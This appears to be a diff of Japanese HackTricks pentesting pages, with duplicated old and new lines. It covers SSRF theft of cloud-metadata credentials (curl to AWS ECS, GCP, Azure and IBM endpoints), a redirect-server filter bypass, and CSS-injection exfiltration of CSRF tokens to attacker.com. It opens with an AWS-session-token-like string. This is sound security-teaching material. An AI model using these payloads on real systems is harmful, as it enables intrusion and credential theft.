AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
``` ```
**aws\_session\_token**を見逃さないでください。このプロファイルが機能するためには不可欠です。 **aws\_session\_token**をお忘れなく、このプロファイルが機能するためには必須です。
[**PACU**](https://github.com/RhinoSecurityLabs/pacu)は、発見された資格情報を使用して特権を調査し、特権昇格を試みるために使用できます。 [**PACU**](https://github.com/RhinoSecurityLabs/pacu)は、発見された資格情報を使用して特権を調査し、特権昇格を試みるために使用できます。
### AWS ECSコンテナサービス資格情報SSRF ### AWS ECSコンテナサービス資格情報におけるSSRF
**ECS**は、自分自身のクラスタ管理インフラをスケーリングする必要なく、アプリケーションを実行できるEC2インスタンスの論理グループです。ECSはその管理を担当しているため、自分でクラスタ管理インフラをスケーリングする必要がありません。**ECS**で実行されているサービスを侵害することに成功すると、**メタデータエンドポイントが変更**されます。 **ECS**は、自分でクラスタ管理インフラをスケールする必要がなく、ECSがその管理を行うためにアプリケーションを実行できるEC2インスタンスの論理グループです。**ECS**で実行されているサービスを侵害することに成功すると、**メタデータエンドポイントが変更**されます。
_**http://169.254.170.2/v2/credentials/\<GUID>**_にアクセスすると、ECSマシンの資格情報が見つかります。ただし、まずは**\<GUID>を見つける必要があります**。\<GUID>を見つけるには、マシン内の**environ**変数**AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**を読み取る必要があります。\ _**http://169.254.170.2/v2/credentials/\<GUID>**_にアクセスすると、ECSマシンの資格情報が見つかります。ただし、まずは**\<GUID>を見つける必要**があります。\<GUID>を見つけるには、マシン内の**environ**変数**AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**を読必要があります。\
`file:///proc/self/environ`への**Path Traversal**を悪用してそれを読み取ることができるかもしれません。\ `file:///proc/self/environ`への**Path Traversal**を悪用してそれを読ことができるかもしれません。\
言及されたhttpアドレスからは、**AccessKey、SecretKey、およびトークン**が取得できるはずです。 言及されたhttpアドレスからは、**AccessKey、SecretKey、トークン**が取得できるはずです。
```bash ```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O - curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
``` ```
@ -127,7 +127,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
**いくつかのケース**では、コンテナから**EC2メタデータインスタンス**にアクセスできる場合があります以前に言及されたIMDSv2 TTL制限を確認してください。これらのシナリオでは、コンテナからコンテナIAMロールとEC2 IAMロールの両方にアクセスできます。 **いくつかのケース**では、コンテナから**EC2メタデータインスタンス**にアクセスできる場合があります以前に言及されたIMDSv2 TTL制限を確認してください。これらのシナリオでは、コンテナからコンテナIAMロールとEC2 IAMロールの両方にアクセスできます。
{% endhint %} {% endhint %}
### AWS Lambda向けSSRF <a href="#id-6f97" id="id-6f97"></a> ### AWS Lambda向けSSRF <a href="#id-6f97" id="id-6f97"></a>
この場合、**資格情報は環境変数に保存**されています。したがって、それらにアクセスするには**`file:///proc/self/environ`**のようなものにアクセスする必要があります。 この場合、**資格情報は環境変数に保存**されています。したがって、それらにアクセスするには**`file:///proc/self/environ`**のようなものにアクセスする必要があります。
@ -143,7 +143,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
**Lambda資格情報**は**環境変数**に格納されています。したがって、Lambdaコードの**スタックトレース**が環境変数を出力する場合、アプリケーションでエラーを引き起こすことでそれらを**外部流出**させることが可能です。 **Lambda資格情報**は**環境変数**に格納されています。したがって、Lambdaコードの**スタックトレース**が環境変数を出力する場合、アプリケーションでエラーを引き起こすことでそれらを**外部流出**させることが可能です。
{% endhint %} {% endhint %}
### AWS Elastic Beanstalk向けSSRF URL <a href="#id-6f97" id="id-6f97"></a> ### AWS Elastic Beanstalk向けSSRF URL <a href="#id-6f97" id="id-6f97"></a>
APIから`accountId`と`region`を取得します。 APIから`accountId`と`region`を取得します。
``` ```
@ -298,7 +298,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
### Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a> ### Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>
メタデータエンドポイントはVMと同じように機能しますが、一部のエンドポイントがありません。 メタデータエンドポイントはVMと同じように機能しますが、一部のエンドポイントがありません。
```bash ```bash
# /project # /project
# Project name and number # Project name and number
@ -394,7 +394,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
``` ```
### Azure App Service ### Azure App Service
**env**から`IDENTITY_HEADER`と`IDENTITY_ENDPOINT`の値を取得できます。これらを使用してメタデータサーバーと通信するためのトークンを取得できます。 **env**から`IDENTITY_HEADER`と`IDENTITY_ENDPOINT`の値を取得できます。これらの値を使用してメタデータサーバーと通信するためのトークンを取得できます。
ほとんどの場合、これらのリソースのいずれかに対するトークンが必要です: ほとんどの場合、これらのリソースのいずれかに対するトークンが必要です:
@ -473,7 +473,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a> ## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
{% hint style="warning" %} {% hint style="warning" %}
IBMではデフォルトでメタデータが有効になっていないことに注意してください。そのため、IBMクラウドVM内にいてもアクセスできない可能性があります。 IBMではデフォルトでメタデータが有効になっていないため、IBMクラウドVM内にいてもアクセスできない可能性があります。
{% endhint %} {% endhint %}
{% code overflow="wrap" %} {% code overflow="wrap" %}
@ -500,58 +500,62 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
# Get IAM credentials # Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
``` ```
## パケットクラウド {% endcode %}
Packetcloudのメタデータにアクセスするためのドキュメントは、以下で見つけることができます[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata) 各プラットフォームのメタデータサービスのドキュメントは以下に概説されており、インスタンスの構成およびランタイム情報にアクセスする方法が強調されています。各プラットフォームは、それぞれ固有のエンドポイントを提供しています。
## Packetcloud
Packetcloudのメタデータにアクセスするためのドキュメントは、[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata) で見つけることができます。
## OpenStack/RackSpace ## OpenStack/RackSpace
ヘッダーの必要性については言及されていません。メタデータは以下を通じてアクセスできます: ヘッダーの必要性については言及されていません。メタデータは以下を介してアクセスできます:
- `http://169.254.169.254/openstack` * `http://169.254.169.254/openstack`
## HP Helion ## HP Helion
でもヘッダーの必要性については言及されていません。メタデータは以下でアクセス可能です ちらでもヘッダーの必要性については言及されていません。メタデータは以下でアクセス可能です:
- `http://169.254.169.254/2009-04-04/meta-data/` * `http://169.254.169.254/2009-04-04/meta-data/`
## Oracle Cloud ## Oracle Cloud
Oracle Cloudは、さまざまなメタデータアスペクトにアクセスするためのエンドポイントを提供しています: Oracle Cloudは、さまざまなメタデータの側面にアクセスするための一連のエンドポイントを提供しています:
- `http://192.0.0.192/latest/` * `http://192.0.0.192/latest/`
- `http://192.0.0.192/latest/user-data/` * `http://192.0.0.192/latest/user-data/`
- `http://192.0.0.192/latest/meta-data/` * `http://192.0.0.192/latest/meta-data/`
- `http://192.0.0.192/latest/attributes/` * `http://192.0.0.192/latest/attributes/`
## Alibaba ## Alibaba
Alibabaは、インスタンスとイメージIDにアクセスするためのエンドポイントを提供しています Alibabaは、インスタンスおよびイメージIDにアクセスするためのエンドポイントを提供しています:
- `http://100.100.100.200/latest/meta-data/` * `http://100.100.100.200/latest/meta-data/`
- `http://100.100.100.200/latest/meta-data/instance-id` * `http://100.100.100.200/latest/meta-data/instance-id`
- `http://100.100.100.200/latest/meta-data/image-id` * `http://100.100.100.200/latest/meta-data/image-id`
## Kubernetes ETCD ## Kubernetes ETCD
Kubernetes ETCDにはAPIキー、内部IPアドレス、ポートを保持することができます。アクセス方法は以下の通りです: Kubernetes ETCDにはAPIキー、内部IPアドレス、ポートを保持することができます。アクセスは以下を通じてデモンストレーションされます:
- `curl -L http://127.0.0.1:2379/version` * `curl -L http://127.0.0.1:2379/version`
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true` * `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
## Docker ## Docker
Dockerのメタデータはローカルでアクセスでき、コンテナやイメージ情報の取得例が示されています: Dockerのメタデータはローカルでアクセスでき、コンテナおよびイメージ情報の取得例が示されています:
- Dockerソケットを介してコンテナとイメージのメタデータにアクセスする簡単な例 * Dockerソケットを介してコンテナおよびイメージのメタデータにアクセスするためのシンプルな例:
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash` * `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
- コンテナ内で、Dockerソケットを使用してcurlを使用します * コンテナ内で、Dockerソケットを使用してcurlを使用します:
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json` * `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
- `curl --unix-socket /var/run/docker.sock http://foo/images/json` * `curl --unix-socket /var/run/docker.sock http://foo/images/json`
## Rancher ## Rancher
Rancherのメタデータは以下を使用してアクセスできます Rancherのメタデータは以下を使用してアクセスできます:
- `curl http://rancher-metadata/<version>/<path>` * `curl http://rancher-metadata/<version>/<path>`

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong></strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert) で AWS ハッキングをゼロからヒーローまで学びましょう</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を入手してください * [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見してください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローしてください。** * **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegram グループ](https://t.me/peass) に参加するか、**Twitter** 🐦 **@carlospolopm** をフォローする [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングトリックを共有するために PR を送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに参加してください。 * **ハッキングテクニックを共有するために PR を送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに参加する
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -167,14 +167,14 @@ https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension https://metadata/vulerable/path#.extension
https://metadata/expected/path/..%2f..%2f/vulnerable/path https://metadata/expected/path/..%2f..%2f/vulnerable/path
``` ```
### Fuzzing ### ファジング
ツール[**recollapse**](https://github.com/0xacb/recollapse)は、指定された入力から変化を生成して使用されている正規表現をバイパスしようとします。詳細については[**この投稿**](https://0xacb.com/2022/11/21/recollapse/)も参照してください。 ツール[**recollapse**](https://github.com/0xacb/recollapse)は、指定された入力から変化を生成して使用されている正規表現をバイパスしようとします。詳細については[**この投稿**](https://0xacb.com/2022/11/21/recollapse/)も参照してください。
### リダイレクト経由のバイパス ### リダイレクト経由のバイパス
サーバーがSSRFの**元のリクエストをフィルタリングしている可能性がある**が、そのリクエストへの可能な**リダイレクト**応答は**フィルタリングされていない**かもしれません。\ サーバーがSSRFの**元のリクエストをフィルタリングしている可能性がある**が、そのリクエストへの可能な**リダイレクト**応答は**フィルタリングされていない**かもしれません。\
たとえば、`url=https://www.google.com/`を介したSSRFに脆弱なサーバーは、**urlパラメータをフィルタリングしている**かもしれません。しかし、[pythonサーバーを使用して302で応答](https://pastebin.com/raw/ywAUhFrv)し、リダイレクトしたい場所にリダイレクトすると、127.0.0.1のような**フィルタリングされたIPアドレス**やgopherのようなフィルタリングされた**プロトコル**に**アクセス**できるかもしれません。\ えば、`url=https://www.google.com/`を介したSSRFに脆弱なサーバーは、**urlパラメータをフィルタリングしている**かもしれません。しかし、[pythonサーバーを使用して302で応答](https://pastebin.com/raw/ywAUhFrv)し、リダイレクトしたい場所にリダイレクトすると、127.0.0.1のような**フィルタリングされたIPアドレス**やgopherのようなフィルタリングされた**プロトコル**に**アクセス**できるかもしれません。\
[このレポートをチェックしてください。](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530) [このレポートをチェックしてください。](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python ```python
#!/usr/bin/env python3 #!/usr/bin/env python3
@ -196,11 +196,11 @@ self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever() HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
``` ```
## 説されたトリック ## 説されたトリック
### バックスラッシュトリック ### バックスラッシュトリック
_バックスラッシュトリック_ は、[WHATWG URL標準](https://url.spec.whatwg.org/#url-parsing) と [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) の違いを悪用します。RFC3986 はURIの一般的なフレームワークですが、WHATWG はWeb URL に特化しており、現代のブラウザで採用されています。重要な違いは、WHATWG 標準がバックスラッシュ (`\`) をスラッシュ (`/`) と同等と認識している点にあり、特にURL内ホスト名からパスへの移行をマークする方法に影響を与えます。 _バックスラッシュトリック_ は、[WHATWG URL標準](https://url.spec.whatwg.org/#url-parsing) と [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) の違いを悪用します。RFC3986 はURIの一般的なフレームワークですが、WHATWG はWeb URLに特化しており、現代のブラウザで採用されています。重要な違いは、WHATWG 標準がバックスラッシュ (`\`) をスラッシュ (`/`) と同等と認識している点にあり、特にURL内ホスト名からパスへの移行をマークする方法に影響を与えます。
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg) ![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
@ -217,20 +217,20 @@ _バックスラッシュトリック_ は、[WHATWG URL標準](https://url.spec
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>**ゼロからヒーローまでのAWSハッキングを学ぶ**</summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック! * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手 * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、Twitter 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローする。**
* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する * **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details> </details>

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。 - 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
- **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに。 - **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -39,9 +39,9 @@ input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9); background-image: url(https://attacker.com/exfil/9);
} }
``` ```
#### 隠し要素のバイパス #### 隠し要素のバイパス
この制限を回避するために、`~`一般兄弟結合子を使用して後続の兄弟要素をターゲットにすることができます。その後、CSSルールは隠し入力要素に続くすべての兄弟要素に適用され、背景画像が読み込まれます。 この制限を回避するために、`~` 汎用の兄弟結合子を使用して、隠し入力要素の後続の兄弟要素を対象にすることができます。その後、CSSルールは隠し入力要素に続くすべての兄弟要素に適用され、背景画像が読み込まれます。
```css ```css
input[name=csrf][value^=csrF] ~ * { input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF); background-image: url(https://attacker.com/exfil/csrF);
@ -49,9 +49,9 @@ background-image: url(https://attacker.com/exfil/csrF);
``` ```
#### CSSインジェクションの事前条件 #### CSSインジェクションの事前条件
CSSインジェクション技術を効果的に利用するためには、特定の条件を満たす必要があります: CSSインジェクション技術を効果的に利用するためには、の条件を満たす必要があります:
1. **ペイロードの長さ**CSSインジェクションベクトルは、作成したセレクタを収容するために十分に長いペイロードをサポートする必要があります。 1. **ペイロードの長さ**CSSインジェクションベクトルは、作成したセレクタを収容するのに十分な長さのペイロードをサポートする必要があります。
2. **CSSの再評価**新しく生成されたペイロードでCSSの再評価をトリガーするために、ページをフレーム化する能力が必要です。 2. **CSSの再評価**新しく生成されたペイロードでCSSの再評価をトリガーするために、ページをフレーム化する能力が必要です。
3. **外部リソース**この技術は、外部ホストされた画像を使用する能力を前提としています。これは、サイトのコンテンツセキュリティポリシーCSPによって制限される可能性があります。 3. **外部リソース**この技術は、外部ホストされた画像を使用する能力を前提としています。これは、サイトのコンテンツセキュリティポリシーCSPによって制限される可能性があります。
@ -68,34 +68,34 @@ background:url(/m);
<input name=mytoken value=1337> <input name=mytoken value=1337>
<input name=myname value=gareth> <input name=myname value=gareth>
``` ```
以下は、**@import** 技術を使用して、[**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**からブラインドページからのCSSインジェクションを使用して多くの情報を外部に送信することが可能です。** これに以下の**@import**技術を組み合わせると、[**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**を使用して、盲目的なページからCSSインジェクションを利用して多くの情報を外部に送信することが可能です。**
### @import ### @import
前述の技術にはいくつかの欠点があります。前提条件を確認してください。被害者に**複数のリンクを送信できる必要があります**か、**CSSインジェクション脆弱なページにiframeを挿入できる必要があります**。 前述の技術にはいくつかの欠点があります。前提条件を確認してください。被害者に**複数のリンクを送信できる必要がある**か、**CSSインジェクションの脆弱なページにiframeを挿入できる必要があります**。
ただし、**CSS `@import`** を使用して技術の品質を向上させる別の巧妙な技術があります。 ただし、**CSS `@import`**を使用して技術の品質を向上させる別の巧妙な技術があります。
これは最初に[**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf)によって示され、次のように機能します: これは最初に[**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf)によって示され、次のように機能します:
前の技術とは異なり、何度も同じページを異なるペイロードで何十回も読み込むのではなく、**ページを1回だけ読み込み、攻撃者のサーバーへのインポートだけで読み込みます**(これが被害者に送信するペイロードです): 前の技術とは異なり、何度も同じページを異なるペイロードでロードするのではなく、**ページを1回だけ読み込み、攻撃者のサーバーにインポートする**(これが被害者に送信するペイロードです):
```css ```css
@import url('//attacker.com:5001/start?'); @import url('//attacker.com:5001/start?');
``` ```
1. 攻撃者から**いくつかのCSSスクリプト**を受け取り、**ブラウザがそれを読み込む**ことになります。 1. 攻撃者から**いくつかのCSSスクリプト**を受け取り、**ブラウザがそれを読み込む**ことになります。
2. 攻撃者が送信するCSSスクリプトの最初の部分は、**攻撃者のサーバーへの別の`@import`**です。 2. 攻撃者が送信するCSSスクリプトの最初の部分は、**攻撃者のサーバーへの別の`@import`**です。
3. 攻撃者のサーバーはこのリクエストにまだ応答しません。いくつかの文字を漏洩させ、次の文字を漏洩させるためにこのインポートに応答します。 3. 攻撃者のサーバーはこのリクエストにまだ応答しません。いくつかの文字を漏洩させ、次の文字を漏洩させるためにこのインポートに応答します。
4. ペイロードの2番目で大きな部分は、**属性セレクタ漏洩ペイロード**になります。 4. ペイロードの2番目で、**属性セレクタ漏洩ペイロード**が送信されます。
5. これにより、攻撃者のサーバーには**秘密の最初の文字と最後の文字**が送信されます。 5. これにより、攻撃者のサーバーには**秘密の最初の文字と最後の文字**が送信されます。
6. 攻撃者のサーバーが**秘密の最初と最後の文字**を受け取ると、**ステップ2で要求されたインポートに応答**します。 6. 攻撃者のサーバーが**秘密の最初と最後の文字**を受け取ると、**ステップ2で要求されたインポートに応答**します。
7. 応答は**ステップ2、3、4とまったく同じ**になりますが、今回は**秘密の2番目の文字を見つけ、その前の文字**を試みます。 7. 応答は**ステップ2、3、4**とまったく同じになりますが、今回は**秘密の2番目の文字を見つけ、その前の文字**を試みます。
攻撃者は**秘密を完全に漏洩するまでそのループを続けます**。 攻撃者は**秘密を完全に漏洩する**まで、このループを**続けます**。
元の[**Pepe Vilaによるこの攻撃を悪用するコードはこちら**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231)で見つけることができます。または、ほぼ同じ[**コメント付きのコードはこちら**](./#css-injection)です。 元の[**Pepe Vilaによるこの悪用のコードはこちら**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231)で見つけることができます。または、ほぼ同じ[**コメント付きのコードはこちら**](./#css-injection)です。
{% hint style="info" %} {% hint style="info" %}
スクリプトは、属性セレクタを使用して次のような操作が可能ため、毎回2文字を発見しようとします先頭からと末尾から スクリプトは、属性セレクタを使用して次のような操作が可能であるため、毎回2文字を発見しようとします先頭からと末尾から
```css ```css
/* value^= to match the beggining of the value*/ /* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)} input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
@ -105,11 +105,9 @@ input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
``` ```
これにより、スクリプトが秘密をより速く漏洩させることができます。 これにより、スクリプトが秘密をより速く漏洩させることができます。
{% endhint %}
{% hint style="warning" %} {% hint style="warning" %}
時々、スクリプトは**発見された接頭辞+接尾辞がすでに完全なフラグであることを正しく検出しない**ことがあり、それに続いて(接頭辞で)前方に進み、(接尾辞で)後方に進み、ある時点で停止します。\ 時々、スクリプトは**発見された接頭辞+接尾辞が既に完全なフラグであることを正しく検出しない**場合があり、それに続いて(接頭辞で)前方に進み、(接尾辞で)後方に進み、ある時点で停止します。\
心配いりません、単に**出力を確認**してください、**そこにフラグが表示されます**。 心配いりません、**出力を確認するだけで**、**フラグをそこで見ることができます**。
{% endhint %} {% endhint %}
